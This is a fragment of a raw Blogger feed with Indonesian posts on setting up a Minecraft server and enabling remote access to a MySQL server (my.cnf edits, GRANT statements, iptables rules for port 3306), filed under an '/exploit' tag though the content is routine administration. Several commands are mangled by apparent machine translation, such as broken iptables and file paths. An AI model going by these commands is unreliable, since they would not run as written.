4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;# wget http://minecraft.net/download/minecraft_server.jar&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;img alt="[Image: 214zc3n.png]" border="0" src="http://i52.tinypic.com/214zc3n.png" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial;" /&gt;&lt;br /&gt;&lt;br /&gt;5) Sekarang yang harus kita lakukan adalah menjalankan server.&lt;br /&gt;code:&lt;br /&gt;&lt;br /&gt;[code]&lt;br /&gt;# java -Xmx1024M -Xms1024M -jar minecraft_server.jar nogui&lt;br /&gt;[/code&lt;br /&gt;&lt;br /&gt;6) Anda sekarang akan melihat layar ini:&amp;nbsp;&lt;img alt="Bigsmile" border="0" src="/images/kucink/bigsmile.gif" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; vertical-align: middle;" title="Bigsmile" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img alt="[Image: 2hx9bhx.png]" border="0" src="http://i51.tinypic.com/2hx9bhx.png" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial;" /&gt;&lt;br /&gt;&lt;br /&gt;and the top:&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; font-size: 13px;"&gt;&lt;img alt="[Image: 2m3qwq9.png]" border="0" src="http://i55.tinypic.com/2m3qwq9.png" style="border-bottom-style: none; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial;" /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; font-size: 13px;"&gt;eits,,udah pada punya VPS belom ????&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime; font-family: 'Courier New', Courier, monospace; font-size: small;"&gt;&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; font-size: 13px;"&gt;hehehe : original posted by Rizky Ariestiyansyah&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-2805155785254847814?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/2805155785254847814/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2011/01/melakukan-setup-sebuah-minecraft-server.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/2805155785254847814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/2805155785254847814'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2011/01/melakukan-setup-sebuah-minecraft-server.html' title='Melakukan setup sebuah Minecraft Server dengan cepet &gt;&gt; 6 step'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i52.tinypic.com/2iu59g0_th.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-9157612180383424614</id><published>2011-01-11T00:42:00.000+07:00</published><updated>2011-01-11T00:42:54.404+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>7 Langkah remote MySQL database server : Liyan oz</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px; line-height: 18px;"&gt;Assalamualaikum war.wab,,,&lt;br /&gt;kali ini Liyan bakal coba bahas masalh remote2an,,,&lt;br /&gt;remote ???? main RC yuk wuakakaka&lt;br /&gt;ah,, males ne ngelantur,, ok langsung aja disini kita akan sedikit capek karena bermain dengan database server MySQL&lt;br /&gt;hmmm,,, lantas mainnya kaya gmana ??? gini,,, saking sibuknya seorang siswa IT pasti lah akan merasa yang namanya capek,, nah,, untuk menghindari itu ada solusinya,,,&amp;lt;apaan tu ?&amp;gt; nah biar kita gak capek mikirain databse server kita dirumah,, kita buat aja remote access MySQL database server,,, wuakakkaka kerennya diriku,,&lt;br /&gt;ah palinagn lama pasti,,, ye,,kagak,,&lt;br /&gt;ne Liyan kasih solusinya 7 langkah remote MySQL database server...&lt;br /&gt;check yuk......&lt;br /&gt;&lt;br /&gt;Langkah # 1: Menggunakan SSH Login (jika server berada di luar pusat data Anda)&lt;br /&gt;&lt;br /&gt;Pertama, login lewat ssh ke server database MySQL jauh:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial, sans-serif; font-size: small;"&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;ssh Liyan@mysql.nixcraft.i&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Langkah # 2: Edit File my.cnf&lt;br /&gt;&lt;br /&gt;Setelah terhubung anda perlu mengedit konfigurasi server MySQL my.cnf file menggunakan editor teks seperti vi.(gw banget ne wkwkwkwkwk)&lt;br /&gt;&lt;br /&gt;Jika teman2 menggunakan Debian (yang saya gunakan adalah Blankon ombilin 6.0 hasil remastering sendiri) berkas Linux terletak di /etc/ my.cnf lokasi mysql&lt;br /&gt;Jika Anda menggunakan Red Hat Linux / Fedora / Centos berkas Linux (ufah lama gak make) terletak di / / my.cnf lokasi dll&lt;br /&gt;Jika Anda menggunakan FreeBSD (ne yang Liyan suka) anda harus menciptakan file / var / db / mysql / my.cnf&lt;br /&gt;Edit / etc / my.cnf, jalankan:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;# vi /etc/my.cnf&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Langkah # 3: Setelah file dibuka, cari baris yang berbunyi sebagai berikut&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;[Mysqld]&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Membuat garis skip yakin-networking adalah komentar (atau menghapus baris) dan tambahkan baris berikut&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;bind-address = IP-SERVER-BROTHER&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Misalnya, jika MySQL server anda punya IP 65.55.55.2 maka seluruh blok harus terlihat seperti sebagai berikut:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;[mysqld]&lt;br /&gt;user&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= mysql&lt;br /&gt;pid-file&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = /var/run/mysqld/mysqld.pid&lt;br /&gt;socket&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= /var/run/mysqld/mysqld.sock&lt;br /&gt;port&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= 3306&lt;br /&gt;basedir&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= /usr&lt;br /&gt;datadir&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = /var/lib/mysql&lt;br /&gt;tmpdir&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= /tmp&lt;br /&gt;language&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= /usr/share/mysql/English&lt;br /&gt;bind-address&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = 65.55.55.2&lt;br /&gt;# skip-networking&lt;br /&gt;....&lt;br /&gt;..&lt;br /&gt;....&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Dimana,&lt;br /&gt;bind-address: alamat IP untuk mengikat.&lt;br /&gt;skip-networking: skip tanpa mendengarkan koneksi TCP / IP sama sekali. Semua interaksi dengan mysqld harus dilakukan melalui soket Unix. Pilihan ini sangat dianjurkan untuk sistem yang hanya permintaan lokal diperbolehkan. Karena sobat o2nri2 perlu untuk memungkinkan koneksi remote baris ini harus dihapus dari my.cnf atau menaruhnya di negara komentar.&lt;br /&gt;Langkah # 4 Simpan dan Tutup file&lt;br /&gt;&lt;br /&gt;Restart mysql server, masukkan:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;# /etc/init.d/mysql restart&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Langkah # 5 akses Grant untuk alamat IP remote&lt;br /&gt;&lt;br /&gt;Menyambung ke server mysql:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;$ mysql -u root -p mysql&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Memberikan akses ke database baru&lt;br /&gt;&lt;br /&gt;Jika Anda ingin menambahkan sebuah database baru bernama foo untuk bar pengguna dan remote IP 202.54.10.20 maka Anda perlu mengetikkan perintah berikut pada mysql&amp;gt; prompt:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;mysql&amp;gt; CREATE DATABASE foo;&lt;br /&gt;mysql&amp;gt; GRANT ALL ON foo.* TO bar@'202.54.10.20' IDENTIFIED BY 'PASSWORD';&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;mysql&amp;gt; CREATE DATABASE foo;&lt;br /&gt;mysql&amp;gt; GRANT ALL ON foo.* TO bar@'202.54.10.20' IDENTIFIED BY 'PASSWORD';&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Hmmm,,, muncul pertanyaan ne dari otak Liyan. lantas bagaimana kita bisa Berikan Akses Untuk Sebuah Database yang ada?&lt;br /&gt;Mari kita berasumsi ok...nah disini kita selalu membuat sambungan dari jarak jauh tersebut,, sebut saja IPnya 202.54.10.20 untuk database disebut WebDb untuk webadmin pengguna, Untuk memberikan akses ke alamat IP jenis ini perintah berikut pada prompt mysql&amp;gt; untuk database yang ada, input:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;mysql&amp;gt; update db set Host='202.54.10.20' where Db='webdb';&lt;br /&gt;mysql&amp;gt; update user set Host='202.54.10.20' where user='webadmin';&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Langkah # 5: Keluar dari MySQL&lt;br /&gt;&lt;br /&gt;Ketik exit perintah untuk mysql logout:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;mysql&amp;gt; exit&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Langkah # 6: Buka port 3306&lt;br /&gt;&lt;br /&gt;Anda perlu membuka port TCP 3306 menggunakan iptables atau firewall pf BSD.&lt;br /&gt;&lt;br /&gt;Contoh iptables untuk membuka aturan firewall iptables Linux&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;/ Sbin / iptables-A INPUT-i eth0-p tcp - destination-port 3306-j ACCEPT&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;ATAU hanya mengijinkan koneksi remote dari server web Anda terletak di 10.5.1.3:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;/ Sbin / iptables-A INPUT-i eth0-s 10.5.1.3-p tcp - destination-port 3306-j ACCEPT&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;atau hanya mengijinkan koneksi remote dari 192.168.1.0/24 lan subnet Anda:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;/ Sbin / iptables-A INPUT-i eth0-s 192.168.1.0/24-p tcp - destination-port 3306-j ACCEPT&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Akhirnya menyimpan semua aturan:&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;"&gt;&lt;div class="title" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;"&gt;Code:&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code style="display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;"&gt;# service iptables save&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;Sampel FreeBSD / OpenBSD pf aturan (/ etc / pf.conf)&lt;br /&gt;&lt;br /&gt;&lt;div class="codeblock" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; 